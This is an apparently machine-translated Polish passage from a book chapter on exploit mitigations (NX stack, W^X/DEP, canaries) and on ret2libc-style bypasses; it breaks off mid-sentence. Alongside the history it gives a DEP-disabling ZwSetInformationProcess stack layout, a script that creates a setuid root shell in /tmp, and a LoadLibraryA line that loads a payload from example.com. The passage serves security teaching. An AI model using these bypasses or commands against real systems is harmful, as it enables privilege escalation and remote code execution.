Mechanizmy ochronne

Wraz z pojawieniem się błędów w wykonywaniu kodu i nadużyć, producenci systemów operacyjnych zaczęli dodawać ogólne mechanizmy ochrony, aby chronić swoich użytkowników. Wszystkie te mechanizmy (z wyjątkiem audytu kodu) starają się zmniejszyć prawdopodobieństwo udanego exploita, ale nie powodują zniknięcia luki, dlatego każda drobna usterka w mechanizmach ochrony może zostać wykorzystana do ponownego odzyskania wykonania kodu. W tym rozdziale najpierw opisano ogólne zasady najpopularniejszych mechanizmów, a następnie omówiono specyfikę każdego systemu operacyjnego. Przedstawia również pewne słabości zabezpieczeń i to, co byłoby potrzebne, aby je ominąć.

Zabezpieczenia

W całej Części istnieje potrzeba pokazania różnych układów stosów, ponieważ stosowane są różne zabezpieczenia. Poniżej znajduje się kod C użyty jako przykład:

```
#include < stdio.h >

#include < string.h >

int function(char *arg) {

int var1;

char buf[80];

int var2;

printf(“arg:%p var1:%x var2:%x buf:%x\n”, &var1, &var2, buf);

strcpy(buf, arg);

}

int main(int c, char **v) {

function(v[1]);

}
```

Standardowy układ stosu, bez żadnych zabezpieczeń ani optymalizacji, wygląda następująco.

↑ Lower addresses

var2 4 bytes

buf 80 bytes

var1 4 bytes

saved ebp 4 bytes

return address 4 bytes

arg 4 bytes

↓ Higher addresses

Zauważ, że używamy tej samej konwencji, co każdy znany debugger: niższe adresy są wyświetlane wyżej na stronie.

Stos niewykonywalny

Bardzo powszechną klasą błędów bezpieczeństwa, nawet dzisiaj, jest przepełnienie bufora oparte na stosie, a najczęstszym sposobem ich wykorzystania jest (lub było) umieszczenie kodu na stosie, w tym samym buforze, który został przepełniony, nadpisanie zwrotu adres i przejdź do niego. Dzięki temu, że stos nie jest wykonywalny, ta technika eksploatacji staje się bezużyteczna. Niewykonywalny stos (w skrócie nx-stack) dla DEC's Digital Unix on Alpha został wspomniany w bugtraq w sierpniu 1996, chociaż mógł nie istnieć do lutego 1999. Prawdopodobnie to zmotywowało Caspera Dika do stworzenia i opublikowania niesamowitego skryptu powłoki, który załatał jądro w czasie wykonywania, aby zaimplementować nx-stacks dla Solarisa 2.4/2.5/2.5.1 19 listopada 1996 r. Później Solar Designer wydał swoją pierwszą łatkę dla Linuksa 12 kwietnia 1997 r. Jednak te implementacje nie były zdecydowanie pierwszymi, jak zobaczymy w następnej sekcji. Stosy niewykonywalne przez długi czas nie były akceptowane w świecie Intela, ale dziś można znaleźć tę funkcję domyślnie włączoną w większości dystrybucji Linuksa, OpenBSD, Mac OS X, Solaris, Windows i kilku innych. Niemal natychmiast po ich wymyśleniu stworzono kilka technik obejścia mechanizmów stosu nx. Wszystkie opierają się na bardzo prostym fakcie: mając tylko stos oznaczony jako niewykonywalny, kod może być wykonywany wszędzie indziej, a ponadto nadpisanie adresu zwrotnego jest nadal ważnym i trudnym do wykrycia sposobem przechwycenia przepływu wykonywania podatna aplikacja. Technika pierwotnie znana jako return-into-libc (lub w skrócie ret2libc) otworzyła drzwi do wykorzystywania przepełnień bufora na stosie w stosach nx. ret2libc został później ulepszony do technik ret2plt, ret2strcpy, ret2gets, ret2syscall, ret2data, ret2text, ret2code, ret2dl-resolve oraz technik łańcuchowych ret2code lub łańcuchowych ret2libc. Tim Newsham oczywiście miał na myśli wiele z tych pomysłów, kiedy po raz pierwszy napisał na ten temat 27 kwietnia 1997 r. - jeszcze przed pojawieniem się stosu nx dla Linuksa - ale minęło trochę czasu, zanim pojawiły się pierwsze konkretne przykłady i wyjaśnienia:

* ret2data: Bardzo prostym podejściem do ominięcia stosu nx jest umieszczenie wstrzykniętego kodu/jajka/kodu powłoki w sekcji danych i użycie uszkodzonego adresu powrotu, aby przejść do niego. Oczywiście, gdy przepełniony bufor znajduje się na stosie, atakujący musi znaleźć alternatywny sposób umieszczenia kodu w pamięci, ale jest na to kilka sposobów, gdyż np. buforowane I/O wykorzystuje stertę do przechowywania dane.

* ret2libc: Wyjaśnione przez Solar Designer 10 sierpnia 1997 w e-mailu do bugtraq (http://marc.info?m=87602746719512). Pomysł polega na użyciu adresu zwrotnego, aby przejść bezpośrednio do kodu w libc, na przykład system() w systemie Unix lub WinExec() lub, jak zauważył David Litchfield (http://www.ngssoftware.com/research/papers /xpms.pdf), LoadLibraryA() w systemie Windows. W przypadku przepełnienia bufora opartego na stosie atakujący może kontrolować kompletną ramkę stosu, w tym adres powrotu i argumenty dla zwracanej funkcji, więc możliwe jest wywołanie dowolnej funkcji w libc z argumentami wybranymi przez atakującego. Głównym ograniczeniem jest zakres poprawnych znaków (na przykład dość często nie można wstrzyknąć „\x00”).

* ret2strcpy: publicznie wprowadzony przez Rafała Wojtczuka 30 stycznia 1998 r. (http://marc.info?m=88645450313378). Chociaż ta technika jest również oparta na ret2libc, umożliwia atakującemu uruchomienie dowolnego kodu. Prostym, ale genialnym pomysłem jest powrót do strcpy() z parametrem src wskazującym na kod w buforze stosu (lub gdziekolwiek indziej w pamięci) i parametrem dst wskazującym na wybrany zapisywalny i wykonywalny adres pamięci. Kontrolując całą ramkę stosu, atakujący może kontrolować, gdzie zwróci strcpy(), a zatem przeskoczyć do adresu

pamięci, na który kod został właśnie skopiowany za pomocą strcpy(), i voila: wykonanie dowolnego kodu. Oczywiście to samo można osiągnąć za pomocą dowolnej innej odpowiedniej funkcji, takiej jak sprintf(), memcpy() i tak dalej.

↑Dolne adresy

&strcpy 4 bajty Wyrównane z nadpisanym adresem zwrotnym

dest_ret 4 bajty Gdzie iść po strcpy()

dest 4 bytes Znana lokalizacja zapisywalna i wykonywalna

src 4 bajty Musi wskazywać na wstrzyknięty kod

↓Wyższe adresy

Chociaż może się wydawać, że dokładny wskaźnik do kodu jest niezbędny do przekazania jako argumentu źródłowego, poduszka nops bez zera pozwoli ci pomyślnie wykonać kod tylko z przybliżonym adresem.

* ret2gets: ulubiona metoda Ariela Futoransky'ego, bardzo podobna do ret2strcpy, ale o wiele bardziej niezawodna w odpowiednich warunkach, ponieważ nie wymaga żadnego innego argumentu niż adres pamięci zapisywalnej i wykonywalnej, w której zostanie umieszczony wstrzyknięty kod . Oczywiście, tak jak gets() czyta z stdin, musisz być w stanie kontrolować dane wejściowe aplikacji, ale jest to trywialne dla większości lokalnych exploitów i niektórych zdalnych, szczególnie dla aplikacji uruchamianych przez inetd lub coś podobnego. Inne możliwości to read(), recv(), recvfrom() i tak dalej. Chociaż musiałbyś dokładnie odgadnąć argument deskryptora pliku, liczba może zostać zignorowana, jeśli jest wystarczająco duża.

↑Dolne adresy

&pobiera 4 bajty Wyrównane z nadpisanym adresem zwrotnym

dest 4 bytes Gdzie iść po gets()

dest 4 bytes Znana lokalizacja zapisywalna i wykonywalna

↓Wyższe adresy

* ret2code: to tylko ogólna nazwa określająca różne sposoby wykorzystania kodu, który już istnieje w aplikacji. Może to być jakiś „prawdziwy” kod w aplikacji, który może zainteresować atakującego, lub po prostu fragmenty istniejącego kodu, jak we wszystkich innych przypadkach wyjaśnionych tutaj.

* chained ret2code: znany również jako chained ret2libc. Pomysł ten krążył i faktycznie został użyty w swojej prostej formie do wykonania ret2syscall w 1997 roku, ale po raz pierwszy został publicznie zademonstrowany w pełnym potencjale przez Johna McDonalda 3 marca 1999 roku, w prawdziwym exploicie dla Solarisa na SPARC; później przez Tima Newshama 6 maja 2000 r. w exploicie dla systemu Solaris na x86; i dalej dopracowane i wyjaśnione dla Linuksa przez Rafała Wojtczuka w dniu 27 grudnia 2001 r. w artykule Phrack. Istnieją cztery techniki, aby uzyskać łańcuchowy kod ret2 w Intel x86:

* Pierwszy w jakiś sposób przenosi wskaźnik stosu do bufora kontrolowanego przez użytkownika, tak jak zrobił to exploit Tima Newshama.

* Druga technika polega na naprawieniu wskaźnika stosu po zwróceniu każdej funkcji, na przykład przy użyciu sekwencji takiej jak pop-pop-poppop-ret.

* Trzecia opcja jest możliwa tylko w przypadku powrotu do funkcji zaimplementowanych przy użyciu konwencji wywoływania pascal lub stdcall, takich jak używane w systemie Windows. W przypadku tych konwencji wywoływania osoba wywoływana naprawi stos po zwrocie, pozostawiając go doskonale gotowym do wykonania następnego wywołania łańcuchowego. Ta forma połączonego kodu ret2code jest bardzo prosta w użyciu i naprawdę oferuje szeroki wachlarz możliwości.

* Ostatnią techniką łańcucha re2code jest technika Johna McDonalda dla SPARC, która choć w dużym stopniu zależy od funkcji SPARC, jest w jakiś sposób powiązana z trzecią właśnie opisaną techniką.

* ret2syscall: Wprowadzony i wyjaśniony 28 kwietnia 1997 r. przez Tima Newshama we wspomnianym już poście bugtraq. W przypadku systemów, w których argumenty wywołań systemowych trafiają do rejestrów, takich jak Linux, konieczne jest znalezienie dwóch różnych fragmentów kodu i połączenie ich ze sobą. Pierwszy z nich musi zdjąć wszystkie potrzebne rejestry ze stosu, a następnie zwrócić:

pop eax

pop ebx

pop ecx

ret

Drugi fragment po prostu wyda wywołanie systemowe. Kontrolując stos, atakujący kontroluje wyskakujące rejestry. Podobnie do ret2strcpy, adres powrotu z pierwszego fragmentu musi być ustawiony tak, aby powrócił do drugiego i wykonał wywołanie systemowe. W innych systemach operacyjnych, w których argumenty wywołań systemowych są przekazywane na stosie, łańcuch do wywołania jest znacznie prostszy. Pierwszy fragment kodu wystarczy aby ustawić pojedynczy rejestr (na przykład dla Windows, OpenBSD, FreeBSD, Solaris/x86 i Mac OSX, eax musi być ustawiony na numer wywołania systemowego), podczas gdy drugi fragment musi nadal tylko wydawać wywołanie systemowe. Chociaż w systemie Windows można pisać kod tylko przy użyciu wywołań systemowych, jak wyjaśnił Piotr Bania w swoim artykule z 4 sierpnia 2005 r., „Windows Syscall Shellcode”, to nadal aby pokazać, że można to zrobić w stylu ret2syscall

* ret2text: jest to ogólna nazwa wszystkich metod przeskakujących do sekcji .text (sekcja kodu) samego wykonywalnego pliku binarnego. ret2plt i ret2dlresolve to dwa konkretne przykłady. Ataki ret2text będą stawały się coraz ważniejsze dzięki dodaniu innych zabezpieczeń, takich jak W^X i ASLR, jak zobaczymy w kolejnych sekcjach.

* ret2plt: Wyjaśnione przez Rafała Wojtczuka 30 stycznia 1998 r. Aby chronić się przed ret2libc, 10 sierpnia 1997 r. Solar Designer przedstawił pomysł przeniesienia bibliotek do tak zwanej ASCII Armored Address Space (AAAS), gdzie adresy pamięci zawierają '\x00' (na przykład 0x00110000), zapobiegający ret2libc w przypadku przepełnień generowanych przez strcpy(). ret2plt używa tabeli łączenia procedur (PLT) pliku binarnego, aby pośrednio wywołać funkcje libc. PLT to tabela skoków, z wpisem dla każdej funkcji biblioteki używana przez program i jest obecna w pamięci miejsce dla każdego dynamicznie połączonego pliku wykonywalnego ELF, który nie jest przenoszony do AAAS. Głównym ograniczeniem tej techniki jest to, że może wywoływać tylko funkcje pierwotnie używane przez wykorzystywany plik binarny, ponieważ w przeciwnym razie nie będzie wpisu PLT.

↑Dolne adresy

&strcpy@plt 4 bajty Adres wpisu PLT strcpy

dest_ret 4 bajty Gdzie iść po strcpy()

dest 4 bytes Znana lokalizacja zapisywalna i wykonywalna

src 4 bajty Musi wskazywać na wstrzyknięty kod

↓Wyższe adresy

* ret2dl-resolve: Ponownie, Rafał Wojtczuk, we wspomnianym artykule Phrack, wyjaśnia również, jak wrócić do kodu mechanizmu rozpoznawania linkera dynamicznego ELF (ld.so), aby wykonać ataki ret2plt przy użyciu funkcji bibliotecznych, które nie są używane przez plik binarny .

* Gdy wykonywany jest plik binarny ELF, o ile nie określono LD_BIND_NOW, wszystkie jego wpisy PLT wskazują na kod, który dynamicznie rozwiązuje adres wywoływanej funkcji, aktualizuje niektóre informacje, dzięki czemu za drugim razem nie ma potrzeby ponownego rozwiązywania symbolu, a następnie wywołuje funkcja. Punktem wejścia dla całej tej logiki jest pojedyncza funkcja (dl_linux_resolve() w Linuksie, _dl_bind_start() w OpenBSD i FreeBSD), która może być wykorzystana do wywołania dowolnej funkcji w dowolnej bibliotece dynamicznej za pomocą pojedynczego dodatkowego argumentu.

* Obliczenie argumentu dla tych funkcji nie jest proste, ale, jak wykazał Rafał, jest to całkowicie wykonalne. Możesz przeczytać jego artykuł, aby lepiej zrozumieć, jak wykonać tę technikę.

Jak już powiedzieliśmy, nx-stack ma dwie główne słabości jako mechanizm ochrony: nadal pozwala na nadużywanie adresu zwrotnego w celu przekierowania przepływu wykonywania do dowolnej lokalizacji i sam z siebie nie uniemożliwia już wykonania kodu obecne w pamięci procesu, ani nie uniemożliwia wykonania kodu wstrzykniętego w inne obszary danych. Kolejne sekcje pokazują, jak różne technologie ochrony próbują rozwiązać te inne przypadki.

Pamięć W^X (zapisywalna lub wykonywalna)

Jest to logiczne rozszerzenie niewykonywalnych stosów i polega na tym, że pamięć zapisywalna nie jest wykonywalna, a pamięć wykonywalna nie jest zapisywalna. W przypadku W^X teoretycznie niemożliwe jest wstrzyknięcie obcego kodu do podatnego programu. Jednak wszystkie metody opisane w poprzedniej sekcji, z wyjątkiem ret2data, ret2strcpy i ret2gets, odniosą sukces w przypadku systemu chronionego tylko przez W^X. Nazwa W^X (W xor X) została wymyślona przez założyciela i głównego architekta OpenBSD, Theo de Raadta, chociaż istniały już wcześniejsze implementacje tej ochrony. Aby znaleźć pierwszą implementację W^X, trzeba cofnąć się aż do 1972 roku (lub prawdopodobnie wcześniej). Multics oparte na GE-645 wspierały ustawianie, czy segmenty pamięci mają być odczytywalne, zapisywalne i wykonywalne, a w systemie zastosowano ochronę sprzętową. Dwa bardzo dobre artykuły opisujące funkcje bezpieczeństwa, luki w zabezpieczeniach, exploity i backdoory dla Multics stały się dostępne po ich odtajnieniu: „Multics Security Evaluation: Vulnerability Analysis" Paula Kargera i Rogera Schella, czerwiec 1974 i „Thirty Years Later: Lessons from the Multics Security Evaluation" tych samych autorów, grudzień 2002. W epoce nowożytnej, a przecież o tym chyba większość zapomniała, musimy wrócić do niewykonywalnej łatki Caspera Dika z 1996 roku, która sprawiła, że nie tylko stos nie był wykonywalny, ale także sekcja bss. Istnieje wiele różnych implementacji W^X, ale prawdopodobnie pierwsza, która zrobiła różnicę, została zaimplementowana przez pipacs jako modyfikacja Linuksa o nazwie PaX, wydana 28 października 2000 r. Pierwotnie był zaimplementowany tylko dla sprzętu Intel x86, ale obecnie jest oficjalnie obsługiwane przez zespół grsecurity dla Linuksa na x86, sparc, sparc64, alpha, parisc, amd64, ia64 i ppc. PaX był pierwszą implementacją, która udowodniła, że wbrew powszechnemu przekonaniu, możliwe jest zaimplementowanie niewykonywalnych stron pamięci na sprzęcie Intel x86. Jednak chociaż technika zadziałała, została później zmieniona na bardziej konserwatywną implementację. PaX nigdy nie był

zawarty w głównych dystrybucjach Linuksa, najprawdopodobniej z powodu wydajności, łatwości konserwacji i innych powodów niezwiązanych z bezpieczeństwem, chociaż obecnie większość dystrybucji ma jakiś rodzaj W^X. We wrześniu 2003 r. AMD wprowadziło rzeczywiste wsparcie dla niewykonywalnych stron pamięci na chipie jako funkcję, którą nazwali „NX" (Non-eXecutable); Wkrótce pojawił się Intel z bardzo podobną funkcją o nazwie „ED" (Execute Disable). Zaledwie kilka miesięcy później pojawiły się łatki dla Linuksa, które z tego korzystały, a wkrótce Microsoft wydał Service Pack 2 dla Windows XP, wprowadzając Data Execution Prevention (DEP), który korzystał z bitu NX.

WINDOWS W^X JEST DOMYŚLNIE WŁĄCZONY

Wraz z wprowadzeniem dodatku SP2 dla systemu Windows XP i dodatku SP1 dla systemu Windows 2003 firma Microsoft wprowadziła tak zwany Data Execution Prevention (DEP). Zrozumienie tego i jego domyślnej konfiguracji jest kluczem do zrozumienia, jakie techniki eksploatacji można zastosować w danym scenariuszu. DEP jest zwykle podzielony na dwa różne komponenty: implementację sprzętową i implementację programową. Jednak tak naprawdę składa się z co najmniej trzech różnych funkcji: Implementacja oprogramowania Safe Structured Exception Handling (SafeSEH), jak wyjaśniono w sekcji „Zabezpieczenia Windows SEH" w dalszej części rozdziału; sprzętowa obsługa NX dla W^X; i pewnego rodzaju oprogramowanie obsługiwane tylko przez W^X, również powiązane z wysyłaniem wyjątków i wyjaśnione w sekcji „Zabezpieczenia Windows SEH". Zabezpieczenia SafeSEH są zawsze włączone dla aplikacji wykonywalnych (EXE) i bibliotek dynamicznych (DLL), które zostały skompilowane przy użyciu przełącznika /SafeSEH programu Visual Studio. Nie ma globalnej opcji wyłączenia tych zabezpieczeń i nie ma możliwości włączenia ich dla aplikacji, które nie zostały skompilowane przy użyciu przełącznika (jak większość aplikacji innych firm i starszych dostępnych obecnie na rynku). W architekturze 64-bitowej wspierane sprzętowo funkcje DEP i W^X są zawsze włączone dla każdej aplikacji i zgodnie z oficjalną dokumentacją nie można ich wyłączyć. W systemach 32-bitowych zabezpieczenia W^X, zarówno sprzętowe, jak i programowe, są kontrolowane przez ten sam zestaw opcji i mogą być globalnie wyłączane, włączane lub selektywnie włączane lub wyłączane dla określonych aplikacji. Domyślnie W^X jest włączony tylko dla określonych składników i usług systemu Windows i wyłączony dla wszystkich innych aplikacji. Z punktu widzenia atakującego domyślna konfiguracja oznacza, że o ile nie będzie on atakował jednej ze specjalnie chronionych aplikacji Windows, będzie mógł uruchamiać kod w sekcjach danych, w tym stercie i stosie, zarówno w systemach ze sprzętową obsługą NX, jak i bez niej. Nawet w konfiguracji, w której funkcja DEP jest domyślnie włączona dla każdego procesu, niektóre procesy rezygnują. Na przykład klient poczty Mozilla Thunderbird rezygnuje z funkcji DEP w czasie wykonywania. Prawidłowo zaimplementowany W^X jest bardzo skuteczną ochroną przed atakami wstrzykiwania obcego kodu; jednak nie oznacza to końca exploitów związanych z wykonywaniem kodu. W przypadku przepełnienia bufora opartego na stosie, użycie połączonego kodu ret2 powinno wystarczyć do wykonania większości ataków, ale nadal interesujące jest zbadanie, czy wykonanie dowolnego kodu przez wstrzyknięcie obcego kodu jest rzeczywiście niemożliwe, czy nie w przypadku W^X. Najpierw trzeba odpowiedzieć na kilka pytań:

* Czy w aplikacji jest kod, który robi dokładnie to, czego potrzebujemy? Jeśli tak, wystarczy prosty kod ret2code.

* Czy pozostało coś W+X (zapisywalne i wykonywalne)? Jeśli tak, ret2strcpy lub ret2gets mogą wystarczyć.

* Jak skomplikowane jest użycie połączonego kodu ret2code do zapisania() pliku wykonywalnego na dysk, a następnie wykonania go?

Wskaźnik do nazwy pliku nie jest tak naprawdę ważny, ponieważ każda nazwa pliku prawdopodobnie będzie dobra. Potrzebujesz jednak wskaźnika, aby obraz wykonywalny zapisywał się w pliku, który powinien zostać wysłany w ramach ataku. Następnie masz wywołania setuid(0), open(), write(), close(), system()/execve()/... wszystkie połączone, a co ważniejsze, przekazywanie deskryptora pliku zwróconego przez open() do zapisu () i close(), co może być nieco skomplikowane. Aby rozwiązać ten problem, czasami można niezawodnie odgadnąć deskryptor pliku lub użyć dup2(), łącząc wartość zwracaną z open() jeden raz i wybierając stały deskryptor pliku jako cel. W skrócie, musisz osiągnąć za pomocą połączonego kodu ret2code to, co w C wyglądałoby tak:

setuid(0);

dup2(open("filename",O_RDWR | O_CREAT, 0755), 123);

write(123, &executable_image, sizeof(executable_image));

close(123);

system("filename");

Chociaż takie podejście jest technicznie możliwe, prawdopodobnie musimy połączyć zbyt wiele wywołań, wstawić kilka zer w argumentach i potrzebować dokładnych adresów niektórych funkcji oraz adresu pliku obrazu. To prawdopodobnie będzie zbyt skomplikowane. Aby rozwiązać ostatni z problemów, możliwe jest rozwiązanie poduszkowe, na przykład za pomocą skryptu powłoki, który wygląda tak:

#!/bin/sh

#!/bin/sh

#!/bin/sh

#!/bin/sh

...

#!/bin/sh

#!/bin/sh

#!/bin/sh

#!/bin/sh

id

cp /bin/sh /tmp/suidsh

chmod 4755 /tmp/suidsh

Główną ideą jest to, że powtarzający się wzór służy jako poduszka i nie musisz odgadywać idealnego adresu dla wykonywalnego obrazu. Możesz wypełnić pamięć celu tak bardzo, jak to możliwe, wzorem i nacisnąć dowolny z „#!/bin/sh". Oczywiście nie jest to jedyne możliwe rozwiązanie poduszki. W systemie Windows wywoływany łańcuch jest krótszy i prostszy, ponieważ nie trzeba przekazywać żadnych argumentów:

RevertToSelf();

Lub jeśli wystarczy wykonać kod w tym samym procesie, co wykorzystywana aplikacja, wystarczy jedno wywołanie:

LoadLibraryA("\\example.com\payload.exe");

Jeśli żadna z opcji ret2code nie jest użyteczna w danym exploicie, nadal mogą istnieć możliwości wykonania wstrzykniętego kodu:

* Czy istnieje sposób na wyłączenie ochrony?

W systemie Windows, przynajmniej do Vista, możliwe jest wyłączenie kontroli NX w bazie na proces za pomocą jednego wywołania biblioteki:

ZwSetInformationProcess(-1, 22, „\x32\x00\x00\x00", 4);

To pojedyncze wywołanie ustawi ExecuteOptions w obiekcie procesu jądra, zgodnie z opisem Ben Nagy z eEye (http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html), aby umożliwić wykonanie kodu w dowolnym miejscu pamięć procesu. Zostało to przetestowane przez autora, ze sprzętową obsługą NX i bez niej. Trzecia wartość w wywołaniu musi być wskaźnikiem do liczby całkowitej; jedynym wymaganiem jest ustawienie bitu 1 i wyczyszczenie bitów 7–15. Daje to wiele możliwości wyboru i na przykład prostym sposobem na zrobienie tego, ponowne użycie nagłówka MZ w pamięci jako znanego źródła bajtów, to:

ZwSetInformationProcess(-1, 0x22, 0x400004 4);

Jeśli bajty NUL z 0x400004 nie są dobre dla twojego exploita, możesz wybrać nagłówek MZ innego pliku binarnego w pamięci, ale nadal będziesz mieć problemy, ponieważ inne argumenty również muszą zawierać zera. Układ stosu dla ataku ret2ntdll w celu usunięcia ochrony całego procesu wyglądałby następująco.

↑Lower addresses

0x7c90e62d 4 bytes &ZwSetInformationProcess in XP SP2

&code 4 bytes Where to go after unprotecting the memory

0xffffffff 4 bytes

0x22 4 bytes

0x400004 4 bytes

4 4 bytes

↓Higher addresses

Alternatywą byłoby znalezienie dokładnego kodu potrzebnego do wyłączenia ochrony w ntdll.dll. Jeśli zostaną spełnione odpowiednie warunki, powrót do 0x7c92d3fa lub blisko niego może wystarczyć, aby wyłączyć ochronę, a następnie przeskoczyć w inne miejsce. Lepszy fragment kodu jest obecny w systemie Windows Vista, ale ponieważ adresy bibliotek DLL są losowe, może być mniej użyteczny (zobacz kod pod adresem _LdrpCheckNXCompatibility@4+45c85).

* Czy określony obszar pamięci można zmienić z W^X na W+X? W takim przypadku możesz zrobić mały łańcuchowy kod ret2code, aby oznaczyć go jako wykonywalny, a następnie przejść do niego. W Windows można zrobić coś W+X: VirtualProtect(addr, rozmiar, 0x40, adres_zapisywalny); gdzie adres, który chcemy włączyć do pliku wykonywalnego, musi znajdować się na stronie dotkniętej zakresem

określonym przez adres i rozmiar. Nie ma znaczenia, czy zakres przecina różne sekcje pamięci, o ile wszystko jest już zmapowane w pamięci. W OpenBSD możliwe jest również przekształcenie obszaru pamięci w W+X. W tym przypadku wywołanie mprotect() jest w kolejności:

mprotect(addr, size, 7);

Na platformie Intel x86 OpenBSD do 4.1 używa limitów segmentów do oznaczania niewykonywalnej pamięci, w przeciwieństwie do używania nowszych rozszerzeń NX/PAE. W tym ustawieniu jedynym sposobem na zrobienie czegoś wykonywalnego jest sprawienie, by wszystko, co jest mapowane na niższe adresy pamięci, również było wykonywalne; stąd następujący kod wyłączy W^X dla całej pamięci procesu:

mprotect(0xcfbf0101, 0x0fffffff, 7);

Zwróć uwagę, że nie jest absolutnie konieczne posiadanie sekcji W+X, ponieważ w zależności od użytego kodu może wystarczyć usunięcie uprawnień do zapisu podczas tworzenia go. Ten ostatni przypadek nazywamy X po W, w przeciwieństwie do W+X. Mogą istnieć inne implementacje, w których X po W jest dozwolone, ale W+X nie. W systemie Linux, jeśli jest zainstalowany PaX, ta technika nie działa. PaX w ogóle nie pozwala, aby strona była W+X, ani X po W. Jednakże, jeśli zainstalowany jest ExecShield firmy Red Hat, można zastosować podobne podejście do techniki OpenBSD. Jądro Linuksa jest bardziej restrykcyjne, jeśli chodzi o mprotect(), nieistniejące regiony, a poprawny adres, odpowiednio wyrównany do 4k, musi zostać dostarczony do mprotect(). Podobnym podejściem jest mmap(), wykonywalna strona na górze pamięci:

mmap(0xbffff000, 0x1000, 7, 0x32, 0, 0);

Argumenty dla mmap() niekoniecznie muszą być tak ścisłe. Na przykład argument deskryptora pliku tak naprawdę nie ma znaczenia, rozmiar nie musi być wielokrotnością 4k, przesunięcie może być dowolną wielokrotnością 4k i tak dalej. Może być tak, że tylko kilka sekcji można utworzyć X po W. W takich sytuacjach musisz najpierw skopiować kod do sekcji zapisywalnej, następnie uczynić go wykonywalnym, a na końcu przeskoczyć do niego. Będzie to wymagało dodatkowego pierwszego kroku, podobnego do ret2strcpy lub ret2gets, w wyniku czego możemy opisać jako strcpy-mprotect-code.

* Jeśli żaden istniejący adres pamięci nie może być ustawiony na W+X, czy możemy utworzyć nowy region W+X?

Ponownie, jeśli PaX jest zainstalowany, jest to niemożliwe, ale w każdej innej implementacji, w tym Windows, Linux i OpenBSD, jest to możliwe. W systemie Windows należy użyć VirtualAlloc(); w systemie Unix, mmap(). Po przydzieleniu sekcji W+X, będziesz chciał skopiować do niej wstrzyknięty kod, a następnie wskoczyć tam, więc będziesz musiał użyć połączonego podejścia ret2code z dwoma kompletnymi wywołaniami funkcji, a na koniec powrócić do wstrzykniętego kodu. Możesz to zapisać jako mmap-strcpy-code. Wszystkie te opcje wymagają kontroli przynajmniej ramki stosu, co jest trywialne przy przepełnieniu bufora opartego na stosie, ale nie tak łatwe (jeśli to możliwe) w przypadku czegoś innego, jak przepełnienie bufora opartego na stercie lub błąd ciągu formatującego. Kiedy przepływ wykonywania jest podpięty przez nadpisanie wskaźnika funkcji, znalezienie sposobu na kontrolowanie argumentów dla wybranych funkcji nie jest proste. Ponownie, jeśli odpowiedni kod jest już obecny, możesz po prostu do niego przejść. Ale jeśli potrzebujesz kontrolować argumenty wywoływanej funkcji, nie pozostaje wiele możliwości. Wybranie właściwego wskaźnika funkcji może być jedyną pozostałą opcją. Na przykład, jeśli nadpiszesz wpis GOT za darmo, free może zostać

wywołane ze wskaźnikiem do twojego bufora. Jeśli znajdziesz odpowiednią kombinację bajtów, będziesz w stanie kontrolować ramkę i uzyskać łańcuchowy kod ret2:

pop eax

pop ebp

mov esp, ebp # leave

pop ebp

ret

W tym przykładzie pierwszy pop pobiera adres powrotu ze stosu, a drugi pobiera argument funkcji, który w przypadku free() wskazuje na twój bufor. Ten wskaźnik jest umieszczany we wskaźniku stosu i stamtąd kontrolujesz stos. Nie jest to bardzo powszechny konstrukt i jest mało prawdopodobne, aby był obecny w pamięci procesu, ale otwiera umysł na inne możliwości. Na przykład, jeśli można kontrolować więcej niż jeden wskaźnik funkcji, możesz nadpisać dwa wskaźniki funkcji, które będą wywoływane jeden po drugim (pomyśl o importowaniu tabel). Możesz użyć pierwszego do ustawienia niektórych rejestrów, a drugiego do ustawienia wskaźnika ramki dla połączonego ataku ret2code. Znalezienie ogólnego rozwiązania, które zmieni nadpisanie wskaźnika funkcji w łańcuchowy kod ret2 lub nawet prostszy atak ret2libc, jest nadal otwartym pytaniem i bardzo interesującym problemem do rozwiązania dla zabawy!

Ochrona danych stosu

Przepełnienia bufora oparte na stosie przez długi czas były najczęstszą i najłatwiejszą do wykorzystania luką w zabezpieczeniach. Jednocześnie dają atakującemu wiele możliwości do zabawy, jak wyjaśniono w poprzedniej sekcji. Z tego powodu opracowano kilka mechanizmów ochrony, aby zapobiec wykorzystaniu przepełnień bufora na stosie. W tej sekcji przedstawiono bardzo powszechny mechanizm ochrony, który sam w sobie może nie wystarczyć, ale jest kluczowym elementem kompletnego systemu ochrony.

Kanarki

Nazwa kanarek pochodzi od górników. Kiedyś zabierali ze sobą ptaka w dół kopalni, aby wiedzieć, kiedy kończy mu się tlen: ptak, jako bardziej wrażliwy, padał pierwszy, dając górnikowi czas na ucieczkę. To dobra metafora do wprowadzenia koncepcji. W tym specjalistycznym temacie kanarki (lub pliki cookie) są zazwyczaj wartościami 32-bitowymi umieszczone gdzieś pomiędzy buforami a informacjami wrażliwymi. W przypadku przepełnienia bufora te kanarki zostają nadpisane na drodze do uszkodzenia poufnych informacji, a aplikacja może wykryć zmianę i wiedzieć, czy poufne informacje zostały uszkodzone przed uzyskaniem do nich dostępu. Początkowe pomysły w tej dziedzinie pochodzą od StackGuard, po raz pierwszy przedstawione przez Crispina Cowana 18 grudnia 1997 r., a następnie znacznie ulepszone przez Hiroaki Etoh, gdy wydał ProPolice 19 czerwca 2000 r. ProPolice został również nazwany SSP (Stack-Smashing Protector), a teraz jest znany jako Stack-Smashing Protector GCC lub po prostu Stack-Smashing Protector. Został ostatecznie włączony do głównego nurtu GCC w wersji 4.1 po tym, jak został ponownie zaimplementowany w formie bardziej świadomej GCC. W momencie, gdy StackGuard został po raz pierwszy wydany, większość przepełnień bufora opartych na stosie była wykorzystywana przez nadpisywanie zapisanego adresu powrotu; stąd pierwotny pomysł polegał na ochronie tylko zapisanego adresu zwrotnego. Tim Newsham natychmiast udowodnił, że StackGuard jest nieskuteczny, gdy inne zmienne lokalne zawierają sensowne informacje. Problemy te nigdy nie zostały naprawione w StackGuard, a pięć lat później, w kwietniu 2002 r., Gerardo Richarte pokazał, jak

